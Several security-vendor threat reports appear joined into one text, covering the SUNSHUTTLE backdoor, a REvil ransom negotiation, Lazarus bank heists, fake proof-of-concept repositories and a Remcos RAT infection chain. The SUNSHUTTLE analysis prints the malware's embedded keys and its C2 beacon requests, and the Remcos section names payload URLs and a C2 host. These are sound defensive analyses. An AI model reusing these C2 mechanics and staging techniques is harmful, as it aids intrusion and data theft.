86e89349fefcbdd9d2c80ca30fa85511. The infection vector for SUNSHUTTLE is not known. It is most likely a second-stage backdoor dropped after an initial compromise. The SUNSHUTTLE sample uses the actor-controlled server “reyweb[.]com” for C2. “Reyweb[.]com” is registered anonymously via NameSilo, a domain provider who accepts bitcoin payment and has been used for C2 registration by state-sponsored APTs in the past, including Russia-nexus actors and Iran-nexus APTs. ## Outlook and Implications The new SUNSHUTTLE backdoor is a sophisticated second-stage backdoor that demonstrates straightforward but elegant detection evasion techniques via its “blend-in” traffic capabilities for C2 communications. SUNSHUTTLE would function as a second-stage backdoor in such a compromise for conducting network reconnaissance alongside other SUNBURST-related tools. ## Technical Annex Mandiant Threat Intelligence discovered a sample of the SUNSHUTTLE backdoor uploaded to an online multi-Antivirus scan service. SUNSHUTTLE is a backdoor, written in Go, that reads an embedded or local configuration file, communicates with its C2 server over HTTPS, and supports commands including remotely updating its configuration, file upload and download, and arbitrary command execution. - **Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)** - C2: reyweb[.]com - UNAVAILABLE (MD5: 86e89349fefcbdd9d2c80ca30fa85511) - Unpacked version of 9466c865f7498a35e4e1a8f48ef1dffd ### Infection Vector For the samples analyzed, the infection vector is not known. ### Execution Summary SUNSHUTTLE is a backdoor written in GoLang. Once SUNSHUTTLE is executed, a high-level description of the execution is the following: 1. Configuration settings determined 2. Request a “session key” from the C2 3. Retrieve the “session key” from the C2 4. Once a session key is retrieved, SUNSHUTTLE begins command request beaconing loop 5. Begin command request beaconing 6. Resolve command and perform action The SUNSHUTTLE sample analyzed retains the names of the routines used by the malware, which include the following: - main.request_session_key - main.define_internal_settings - main.send_file_part - main.clean_file - main.send_command_result - main.retrieve_session_key - main.save_internal_settings - main.resolve_command - main.write_file - main.beaconing - main.wget_file - main.fileExists - main.encrypt - main.decrypt - main.random - main.removeBase64Padding - main.addBase64Padding - main.delete_empty - main.Unpad - main.GetMD5Hash - main.Pad Note: Throughout the SUNSHUTTLE backdoor, unique string identifiers are used to indicate the operation being performed to the C2 via a Cookie header, and unique string identifiers are also used to validate and parse response content from the C2. These unique string values are thought to be unique and random per compiled sample. ### Initial Execution Once executed, the SUNSHUTTLE backdoor enumerates the victim’s MAC address and compares it to a hardcoded MAC address value “c8:27:cc:c2:37:5a”. If a match is found, the backdoor exits. The MAC address is likely a default MAC address for the Windows sandbox network adapter. ### Configuration If the check is successful, the SUNSHUTTLE backdoor then enters a routine named “main_define_internal_settings”, which handles creation of the configuration file if one doesn’t already exist in the directory from which SUNSHUTTLE is running. For the sample analyzed, the configuration filename is “config.dat.tmp”. The configuration data is Base64 encoded and AES-256 encrypted using the following key: ``` hz8l2fnpvp71ujfy8rht6b0smouvp9k8 ``` The configuration has the following example values when Base64 decoded and AES decrypted: ``` 48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS4w ``` The configuration holds several values delimited by a “|” character, which are briefly described as follows: - **48b9e25491e088a35105274cae0b9e67**: MD5 hash of the current timestamp calculated during execution. - **5-15**: Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes. - **0**: 0 or 1 — Utilize “blend-in” traffic requests. Internally called “false_requesting”. - **0**: Activate execution timestamp (0 by default) — execution "activates" or continues if current time is greater than the value in the configuration. - **TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS4w**: Base64-encoded User-agent used in HTTPS requests. Decoded: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0. If set in the configuration, the “blend-in” traffic occurs as the malware executes and transitions through its routines. The following URLs are leveraged for the “blend-in” requests: - https://reyweb[.]com/icon.ico - https://reyweb[.]com/icon.png - https://reyweb[.]com/script.js - https://reyweb[.]com/style.css - https://reyweb[.]com/css/style.css - https://reyweb[.]com/css/bootstrap.css - https://reyweb[.]com/scripts/jquery.js - https://reyweb[.]com/scripts/bootstrap.js - https://cdn.mxpnl[.]com/ - https://cdn.google[.]com/ - https://cdn.jquery[.]com/ - https://code.jquery[.]com/ - https://cdn.cloudflare[.]com/ ### Session Key Mechanism SUNSHUTTLE performs initial requests to the C2 in order to request and then retrieve what it internally refers to as a session key. The retrieved session key from the C2 appears to be RSA decrypted using the following private key that is embedded in SUNSHUTTLE and believed to be unique per compiled sample. Analysis is ongoing on how the decrypted session key is used, but it is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines. ``` -----BEGIN PRIVATE KEY----- MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi +UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M 7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7 MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1 HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7 agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/ Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6 gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi -----END PRIVATE KEY----- ``` After the configuration is created or read from, SUNSHUTTLE enters a routine named “main_request_session_key”. The malware will iterate over this routine until it’s successful, sleeping a period of time after each iteration. Inside the “main_request_session_key” routine, SUNSHUTTLE constructs an HTTPS request to its configured C2. Upon an HTTP 200 response from the request, the response data from the C2 is expected to not contain the following string for the sample analyzed: ``` ywQdjLuHHC ``` The request_session_key routine returns a 1 if the string is not in the response and a -1 if it is in the response. If the result of the request_session_key is 1, SUNSHUTTLE will execute the retrieve_session_key routine. The retrieve_session_key routine again contacts the C2 and downloads content that is expected to be decrypted by the aforementioned embedded private key. The decrypted content is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines. ### Commanding Once a session key is retrieved from the C2, SUNSHUTTLE begins the beaconing and “resolve_command” routines in a loop. SUNSHUTTLE first issues a beacon to retrieve a command. After, SUNSHUTTLE will enter the routine “resolve_command”, which parses the response content to determine which command should be run. Available commands include remotely updating its configuration, file upload and download, and arbitrary command execution. The content returned from the C2 after the “main_beaconing” routine is Base64 decoded and AES decrypted. A check is performed to ensure the decrypted content doesn’t contain the following string: ``` Cp5RTQ31R1 ``` As noted, it is likely these strings are unique per sample and randomly generated at compilation. The decrypted content is parsed for certain unique strings. | Unique string in decrypted response | Meaning | |-------------------------------------|---------| | zSsP2TSJJm3a | Update sleep range — save config | | aQJmWJzXdYK721mGBI3U | Update “false requesting” value – save config | | W5VYP9Iu2uyHK | Update C2 URL and User-agent – save config | | 3487wD9t2OZkvqdwRpqPe | Send current timestamp to C2 | | ubFxROBRwfswVRWNjLC | Update "activation" timestamp in the config — save config | | TMuhGdA9EHY | Upload file to C2 if the file exists | | 1kG4NaRX83BCMgLo38Bjq | Execute command – return “EXECED” if successful | | hB0upT6CUmdRaR2KVBvxrJ | Execute command – return results/output | | N/A (other string criteria met) | Provides terminal command execution | | N/A (other string criteria met) | Download file from C2 | ### Files Dropped After successful execution of the malware, it drops the following files to the victim’s system: - `<current_directory>\config.dat.tmp (MD5: Dynamic)`: Encrypted configuration file. ### Persistence Method The SUNSHUTTLE malware was not observed setting its own persistence. It is likely the persistence is set outside of the execution of SUNSHUTTLE. ### Network Communications SUNSHUTTLE uses the cookie header to pass values to the C2. Additionally, a referrer is selected from a list, presumably to make the traffic blend in if traffic is being decrypted for inspection. The cookie headers vary slightly depending on the operation being performed. The following is an example request to the C2 from the “request_session_key” routine. ``` Victim to C2 GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.facebook.com Accept-Encoding: gzip ``` Within the Cookie header, these values represent the following: - **HjELmFxKJc=48b9e25491e088a35105274cae0b9e67**: Timestamp MD5 contained within the configuration. - **P5hCrabkKf=gZLXIeKI**: “P5hCrabkKf=” contains a unique string based on which routine is performing the request. - **iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx**: “i4zICToyI70Yeidf1f7rWjm5foKX2Usx” is hard coded within the SUNSHUTTLE backdoor. It possibly represents a payload identifier. - **b7XCoFSvs1YRW=78**: Unknown purpose. This value is only included in request_session_key and retrieve_session_key requests. As mentioned, the cookie value “P5hCrabkKf=” contained in each request signifies the operation that is being performed. | “P5hCrabkKf=” Cookie Value | Meaning | |-----------------------------|---------| | gZLXIeK | main_request_session_key | | do1KiqzhQ | main_clean_file | | t5UITQ2PdFg5 | main_wget_file | | cIHiqD5p4da6OeB | main_retrieve_session_key | | xpjQVt3bJzWuv | main_send_file_part | | S4rgG1WifHU | main_send_command_result | After successful installation/initialization of the malware, it proceeds to make the following callback to the C2 server reyweb[.]com via TCP/443 HTTPS: ``` Victim to C2 GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.facebook.com Accept-Encoding: gzip ``` Additionally, if the “fake_requesting” configuration value is set to 1, SUNSHUTTLE will generate traffic meant to blend in with real traffic. Examples of those requests are as follows: ``` Victim to C2 GET /icon.png HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.google.com Accept-Encoding: gzip ``` ``` Victim to C2 GET /css/style.css HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.facebook.com Accept-Encoding: gzip ``` ``` Victim to C2 GET /css/bootstrap.css HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.facebook.com Accept-Encoding: gzip ``` ``` Victim to Legitimate GET / HTTP/1.1 Host: cdn.cloudflare[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.google.com Accept-Encoding: gzip ``` ## Appendix: MITRE ATT&CK Framework | Technique | Description | |----------------|-------------| | T1027 | Obfuscated Files or Information | | T1027.002 | Software Packing | | T1059.003 | Windows Command Shell | | T1071.001 | Web Protocols | | T1105 | Ingress Tool Transfer | | T1140 | Deobfuscate/Decode Files or Information | | T1573.001 | Symmetric Cryptography | ## Appendix: Detecting the Techniques FireEye security solutions provide detection of the SUNSHUTTLE activity across email, endpoint, and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post. | Platform(s) | Detection Name | |---------------------------------------------|----------------| | Network Security | FE_APT_Backdoor_Win64_SUNSHUTTLE_1 | | Email Security | FE_APT_Backdoor_Win_SUNSHUTTLE_1 | | Detection On Demand | APT.Backdoor.Win.SUNSHUTTLE | | Malware File Scanning | APT.Backdoor.Win.SUNSHUTTLE.MVX | | Malware File Storage Scanning | Endpoint Security: Malware Protection (AV/MG) | | | Trojan.GenericKD.34453763 | | | Generic.mg.9466c865f7498a35 |
# REvil Revealed - Tracking a Ransomware Negotiation and Payment What actually happens during a ransomware attack? We follow a real case involving the REvil ransomware - from initial infection and negotiation, through to the cryptocurrency payment and laundering of the funds. The scale and severity of ransomware attacks continue to grow. Cybercriminal groups such as DarkSide have received hundreds of millions of dollars in cryptocurrency ransom payments, having crippled critical infrastructure providers such as Colonial Pipeline. In early July, hundreds of businesses were infected with REvil ransomware (also known as Sodinokibi), through an attack on Kaseya - a provider of IT management software to those victims. At Elliptic, we monitor and investigate ransomware groups in order to collect information on the cryptocurrency wallets they use to receive ransoms. These insights are then made available in our software, enabling law enforcement to follow the money and potentially freeze the funds or identify the individuals behind the attacks. Cryptocurrency exchanges and financial institutions use our software to screen customer deposits for links to these wallets, and ensure that the ransomware groups cannot cash-out their proceeds. This research gives us unique insights into the entire lifecycle of a ransomware attack - from the initial malware infection and ransom demand, through the negotiation and payment process, and finally the laundering of the funds. In this article we follow one specific attack by the Russia-linked REvil ransomware group, which took place within the past few weeks. Some images have been edited to protect the identity of the victim. ## 1. The victim is infected with the REvil malware Once the REvil malware has made its way onto the computer system, it encrypts the victim’s files - leaving behind a text file containing the ransom note. The note directs the victim to a website (the “victim portal”) on Tor (an anonymous version of the internet often used to host darknet markets), to access further instructions. ## 2. Accessing the victim portal The victim portal displays the ransom demand - $50,000 in Monero, a privacy-focused cryptocurrency that is very difficult to trace. If the ransom is not paid within a certain timeframe, the ransom will be doubled to $100,000. The portal provides instructions on where the Monero can be purchased, and where exactly it should be sent. ## 3. Chat support Similar to an e-commerce site, the portal allows the victim to speak directly to REvil, through the “Chat Support” tab. Here we see the victim initiate a conversation with REvil and begin to negotiate the ransom down. ## 4. Verifying that paying a ransom will lead to decryption The victim then asks for proof that paying the ransom will work - i.e. that their files will be decrypted. They upload two of their encrypted files, and REvil responds with the proof - the decrypted files. ## 5. Requesting payment in Bitcoin instead of Monero Many ransomware victims find it difficult to obtain the Monero required to pay a ransom (not many exchanges list it, especially in the US), or do not want to pay in Monero due to concerns about violating sanctions. Most of the ransomware response companies that negotiate and pay on behalf of victims simply refuse to pay Monero ransoms. In this case the victim has requested to pay in Bitcoin instead and REvil has allowed it, albeit with a 10% surcharge. This higher amount reflects the increased risk faced by REvil when accepting Bitcoin payments, due to its traceability. The portal updates to show a Bitcoin payment address. ## 6. Negotiating the ransom amount Having already negotiated a 20% discount on the original $50,000 ransom demand, the victim goes further - offering just $10,000. They claim that this is all they can pay at such short notice, but the offer is rejected by REvil. The victim then says that they may be able to borrow some extra money, and they eventually agree on a ransom payment of $25,000. ## 7. Sending the Bitcoin ransom payment The address that the bitcoin ransom should be sent to is displayed at the top of the portal, but the victim asks REvil to confirm that it is correct. Cryptocurrency payments are irreversible, so it is important to verify the destination address before making a transaction. The victim sends the $25,000 in Bitcoin, and REvil confirms that they have received it. ## 8. The decryption tool is provided Once the ransom is paid, the victim portal updates to provide access to the decryptor. (Of course in general there is no guarantee that such a tool will be provided.) For the victim, the process is now complete. They can use the decryptor tool to regain access to their files and resume operations. ## 9. The Bitcoin is laundered For REvil the next step is to launder and cash-out the Bitcoin ransom payment. Most exchanges that allow Bitcoin to be converted into traditional currency make use of Elliptic’s tools in order to trace customer deposits and ensure that they are not connected to illicit activity such as this. REvil must therefore attempt to launder the funds and break the transaction trail. They attempt this by “layering” the funds - splitting them and passing them through many different wallets, and by mixing them with bitcoins from other sources. This laundering process in this case is still ongoing, but nevertheless we can already trace some of the funds to exchanges. Those exchanges will have information on the identities of people whose accounts received the funds - providing strong leads for law enforcement. The victim in this case appears to have been a small business rather than a large corporation - reflected in the relatively small ransom demanded. Small businesses make up 50-75% of all ransomware victims, and the impact on these attacks can be catastrophic. At Elliptic we believe that ransomware can be combated by limiting the degree to which the criminals responsible can profit from their crimes. By mapping and understanding the cryptocurrency flows from ransomware wallets, we can aid law enforcement and financial institutions to identify the perpetrators and freeze their funds.
# Chasing Lazarus: A Hunt for the Infamous Hackers to Prevent Large Bank Robberies Kaspersky Lab has published the results of its more-than-year-long investigation into the activity of Lazarus – a notorious hacking group allegedly responsible for the theft of 81 million dollars from the Central Bank of Bangladesh in 2016. During the forensic analysis of artefacts left by the group in South-East Asian and European banks, Kaspersky Lab has reached a deep understanding of what malicious tools the group uses and how it operates while attacking financial institutions, casinos, software developers for investment companies, and crypto-currency businesses around the world. This knowledge has helped to interrupt at least two other operations which had one goal - to steal a large amount of money from financial institutions. In February 2016, a group of hackers (unidentified at that time) attempted to steal $851 million USD and managed to transfer 81 million USD from the Central Bank of Bangladesh. This is considered to be one of the largest, most successful cyber heists ever. Further investigation conducted by researchers from different IT security companies, including Kaspersky Lab, revealed a high chance that the attacks were conducted by Lazarus – a notorious cyber espionage and sabotage group responsible for a series of regular and devastating attacks, and known for attacking manufacturing companies, media, and financial institutions in at least 18 countries around the world since 2009. Although several months of silence followed the Bangladesh attack, the Lazarus group was still active. They had been preparing for a new operation to steal money from other banks and, by the time they were ready, they already had their foot in a financial institution in South East Asia. After being interrupted by Kaspersky Lab products and the following investigation, they were set back for another few months and later decided to change their operation by moving to Europe. But here too, their attempts were interrupted by Kaspersky Lab’s security software detections, as well as the quick incident response, forensic analysis, and reverse engineering with support from the company’s top researchers. ## Lazarus Formula Based on the results of the forensic analysis of these attacks, Kaspersky Lab researchers were able to reconstruct the modus operandi of the group. 1. **Initial compromise**: A single system inside a bank is breached either with remotely accessible vulnerable code (i.e. on a webserver) or through a watering hole attack through an exploit planted on a benign website. Once such a site is visited, the victim’s (bank employee) computer gets malware, which brings additional components. 2. **Foothold established**: Then the group migrates to other bank hosts and deploys persistent backdoors – the malware allows them to come and go whenever they want. 3. **Internal reconnaissance**: Subsequently, the group spends days and weeks learning the network and identifying valuable resources. One such resource may be a backup server, where authentication information is stored, a mail server, or the whole domain controller with keys to every “door” in the company, as well as servers storing or processing records of financial transactions. 4. **Deliver and steal**: Finally, they deploy special malware capable of bypassing the internal security features of financial software and issuing rogue transactions on behalf of the bank. ## Geography and Attribution The attacks investigated by Kaspersky Lab researchers lasted for weeks. However, the attackers could operate under the radar for months. For example, during the analysis of the incident in South-East Asia, experts discovered that hackers were able to compromise the bank network no less than seven months prior to the day when the bank’s security team requested incident response. In fact, the group had access to the network of that bank even before the day of the Bangladesh incident. According to Kaspersky Lab records, from December 2015, malware samples relating to Lazarus group activity appeared in financial institutions, casinos, software developers for investment companies, and crypto-currency businesses in Korea, Bangladesh, India, Vietnam, Indonesia, Costa Rica, Malaysia, Poland, Iraq, Ethiopia, Kenya, Nigeria, Uruguay, Gabon, Thailand, and several other countries. The latest samples known to Kaspersky Lab were detected in March 2017, showing that attackers have no intention of stopping. Even though attackers were careful enough to wipe their traces, at least one server they breached for another campaign contained a serious mistake with an important artefact being left behind. In preparation for operation, the server was configured as the command & control center for the malware. The first connections made on the day of configuration were coming from a few VPN/proxy servers indicating a testing period for the C&C server. However, there was one short connection on that day which was coming from a very rare IP address range in North Korea. According to researchers, that could mean several things: - The attackers connected from that IP address in North Korea. - It was someone else’s carefully planned false flag operation. - Someone in North Korea accidentally visited the command and control URL. The Lazarus group heavily invests in new variants of their malware. For months they were trying to create a malicious toolset which would be invisible to security solutions, but every time they did this, Kaspersky Lab’s specialists managed to identify unique features in how they create their code, allowing Kaspersky Lab to keep tracking the new samples. Now, the attackers have gone relatively quiet, which probably means that they have paused to rework their arsenal. “We’re sure they’ll come back soon. In all, attacks like the ones conducted by Lazarus group show that a minor misconfiguration may result in a major security breach, which can potentially cost a targeted business hundreds of millions of dollars in loss. We hope that chief executives from banks, casinos, and investment companies around the world will become wary of the name Lazarus,” said Vitaly Kamluk, Head of Global Research and Analysis Team APAC at Kaspersky Lab. Kaspersky Lab products successfully detect and block the malware used by the Lazarus threat actor with the following specific detection names: - HEUR:Trojan-Banker.Win32.Alreay*, - Trojan-Banker.Win32.Agent* The company is also releasing crucial Indicators of Compromise (IOC) and other data to help organizations search for traces of these attack groups in their corporate networks. We urge all organizations to carefully scan their networks for the presence of Lazarus malware samples and, if detected, to disinfect their systems and report the intrusion to law enforcement and incident response teams.
# Malware Campaign Targets InfoSec Community: Threat Actor Uses Fake Proof of Concept to Deliver Cobalt-Strike Beacon Recently, Cyble researchers came across a post where a researcher mentioned a fake Proof of Concept (POC) of CVE-2022-26809. Upon further investigation, we discovered that it’s malware disguised as an exploit. Similarly, we found a malicious sample that appears to be a fake POC of CVE-2022-24500. Both malicious samples were available on GitHub. Interestingly, both repositories belong to the same profile, indicating the possibility that the Threat Actor (TA) might be hosting a malware campaign targeting the Infosec Community. TA used this unique technique to lure individuals into executing the malware. In the last 24 hours, TAs were also discussing these exploits on the cybercrime forum. For example, we came across a post where TAs discussed CVE-2022-24500, pointing to the fake POC GitHub repository. ## Technical Details The malware is a .Net binary packed with ConfuserEX, a free, open-source protector for .NET applications. The malware does not have any exploit code targeting the above vulnerabilities. Instead, it prints a fake message showing that it is trying to exploit and executes shellcode. The malware uses the Sleep() function to print the messages after a small interval, to appear more legitimate. After printing the fake message, the malware executes the hidden PowerShell command using cmd.exe to deliver the actual payload. The Cobalt-Strike Beacon can be used for other malicious activities such as downloading additional payloads, lateral movement, etc. This fact possibly indicates that the Infosec community is also an active target of attackers. ## Conclusion TAs are adopting various techniques to carry out attacks. In this case, we witnessed how the TA used fake POCs to lure the victims into executing the malware. Usually, people working in information security or TAs use exploits to check for vulnerabilities. Hence, this malware might only target people from this community. Therefore, it becomes essential for the Infosec Community members to check the credibility of sources before downloading any proof of concept. ## Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below: - Avoid downloading files from unknown websites. - Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and mobile. - Refrain from opening untrusted links and email attachments without first verifying their authenticity. - Educate employees in terms of protecting themselves from threats like phishing/untrusted URLs. - Monitor the beacon on the network level to block data exfiltration by malware or TAs. - Enable Data Loss Prevention (DLP) Solution on the employees’ systems. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |---------------------------|--------------|-----------------------------------------| | Execution | T1204 | User Execution | | Defense Evasion | T1140 | Deobfuscate/Decode Files or Information| | Command and Control | T1071 | Application Layer Protocol | ## Indicators of Compromise (IOCs) | Indicators | Indicator Type | Description | |--------------------------|----------------|-------------| | 192.10.22.112 | IP | C2 | | 45.197.132.72 | IP | C2 | | 7e0c8be0d03c75bbdc6fd286a796434a | MD5 | Malicious | | 0e2e0d26caa32840a720be7f67b49d45094861cb | SHA-1 | Binary | | 6c676773700c1de750c3f8767dbce9106317396d66a004aabbdd29882435d5e0 | SHA-256 | | | fdcf0aad080452fa14df221e74cca7d0 | MD5 | Malicious | | 7431846d707140783eea466225e872f8757533e3 | SHA-1 | Binary | | fa78d114e4dfff90a3e4ba8c0a60f8aa95745c26cc4681340e4fda79234026fd | SHA-256 | |
# Behind the Attack: Remcos RAT Remcos RAT is a malware classified as a Remote Access Trojan. This means that it is usually used by threat actors to control infected PCs remotely or spy on users by capturing keystrokes, watching them through their webcam, or even listening to their microphone. Through Remcos RAT, threat actors can remotely execute malicious tasks on a user’s computer and steal any sensitive data that is available to them. ## The Phishing Email Like most attacks these days, Remcos RAT’s payload is delivered via email, the number one attack vector for cyberattacks. The user receives an email, posing as an urgent invoice request. In the text of the message, the sender urges the recipient to open the attached invoice, which is actually an embedded URL in a picture. Once the user clicks on the attachment, they are redirected to a OneDrive automated download which triggers the initial payload. There are several warning signs within the email to indicate that it may be malicious: 1. The subject line is generic. 2. The sender originates from a Gmail address, indicating it is not affiliated with an official company. 3. The message itself is concise with the clear goal of prompting the reader to click on the attachments. ## The Remcos RAT Attack Flow Now, let’s review the components of the attack, breaking it down step by step. **Stage 1:** Once the user clicks on the OneDrive URL, an ace type archive is automatically downloaded; inside of it we can find Faktura 9382022.vbs. **Stage 2:** While Faktura 9382022.vbs is being executed, it downloads an additional payload located on one of the threat actor servers (GH2.jpg). **Stage 3:** GH2.jpg (a JavaScript file) is then executed, containing inside of it and evoking an embedded PowerShell script. **Stage 4:** The PowerShell script creates an alias for IEX (set to the char: “P”) and downloads an additional payload located on the same server from Stage 2 (GH1.jpg). **Stage 5:** GH1.jpg (a PowerShell file) contains two embedded files: Sneaky.dll and archived Remcos. During the execution process of the script, the dll is invoked. **Stage 6:** Next, Sneaky.dll loads the archived Remcos malware, unpacks it from the archive, and injects it into RegAsm.exe (a legitimate Microsoft .NET executable). **Stage 7:** The injected Remcos RAT connects with the threat actor’s C2 server and waits for C&C instructions. ## Initial Access The initial VBScript, “Faktura 9382022.vbs”, is heavily obfuscated, containing several replacement functions and some “clean bytes” in order to pass static analysis engines (such as VirusTotal). After cleaning the script we can see that the script has two main functions. The first is copying itself to the startup folder of the user’s computer (in order to maintain persistence). The second thing that the script does is create a MSXML document. By using the load method within, the script executes an additional payload located on a remote server (hxxps://solutionias.com/bin/GH2.jpg). ## Unwrapping the Obfuscations If we manually navigate to the threat actor’s server, we can see that this is not a picture but rather an xsl file containing JavaScript. Within the script, you can see a large string passed to a certain function. When you look at the string itself, you can see that the script has a HEX-type string structure. We input this string to CyberChef and applied the “From HEX” recipe to give us a brand new obfuscated PowerShell command. When analyzing the PowerShell script further, the threat actor does something unique: he creates a new alias for the IEX (Invoke-Expression) command. By doing this he can call the IEX command without writing down IEX, which can help the attack bypass static AV detection. As we’ve already seen, this PowerShell script also contains a variable with a binary-type string. When you take this string to CyberChef and apply “From Binary” (delimiter: comma, Byte Length: 8), the output gives us a new obfuscated PowerShell script. Once we cleaned up the script, we noticed three main things occurring: - The script sets up the security protocol to be TLS 1.2. - It alerts Google to ensure that the protocol configuration works. - It creates a WebClient object to download and invoke the additional payload located on the same remote server as we previously observed (hxxps://solutionias.com/bin/GH1.jpg). ## DLL Loading & Process Hollowing The payload that was downloaded also has a jpg extension. By navigating back again to the threat actor’s remote server, we can see that the threat actor uses the method of trying to hide the real file extension by changing it to a jpg. The downloaded script is actually another PowerShell script that contains two big variables – $MNB and $fbOd: - $hoDNhAI – unpacks the $MNB variable using an embedded function (Sneaky.dll). - $fbOd – Archived Remcos agent. There is also the $ayy variable which is responsible for loading the dll (stored on $hoDNhAI). We can see that when Sneaky.dll is loaded, the script invokes a method called: “Black”. This method is located under the “toooyou” class in the “Sneaky” namespace. Since the dll is heavily obfuscated, we used De4Dot to deobfuscate it and make the dll a bit more readable. We can see that the method that was invoked receives two arguments: 1. String tt 2. Byte[] ukk These arguments are passed in the PowerShell script; the string that is passed is “RegAsm.exe”; the byte array is the archived Remcos. Following the flow of the “Black” method, we can see that a new array object is declared, containing the string that was passed. The result of the method is “GLPFPGLLRRR”, which receives the archived Remcos as argument. This function is responsible for unpacking the Remcos agent out of the gzip archive. After that, the dll starts the hollowing process by spawning the legitimate RegAsm.exe process in suspended mode and injects the unpacked Remcos agent. Finally, the RegAsm.exe process runs on the user’s system with the injected Remcos RAT inside of it. The RAT will begin to harvest information, creating mutex and persistence files. ## Extracting Remcos Configurations Once we unpacked the Remcos agent, we extracted the configurations set by the author completely statically by following the next steps: 1. Open up the Remcos agent in CFFExplorer. 2. Navigate to Resource Editor -> RCData -> SETTINGS. 3. The first byte of the resource indicates the key length (the data is encrypted with RC4 encryption). 4. What follows are the next key_length bytes, which is the actual RC4 key. 5. The rest of the remaining bytes are the encrypted data. If you enter the key and the data to CyberChef, you can easily decrypt the data and see the configurations of this Remcos agent. ### Extracted Configuration: - Host:port:password – menz.ddns.net:9001:1 - Assigned name – AUG - Copy file 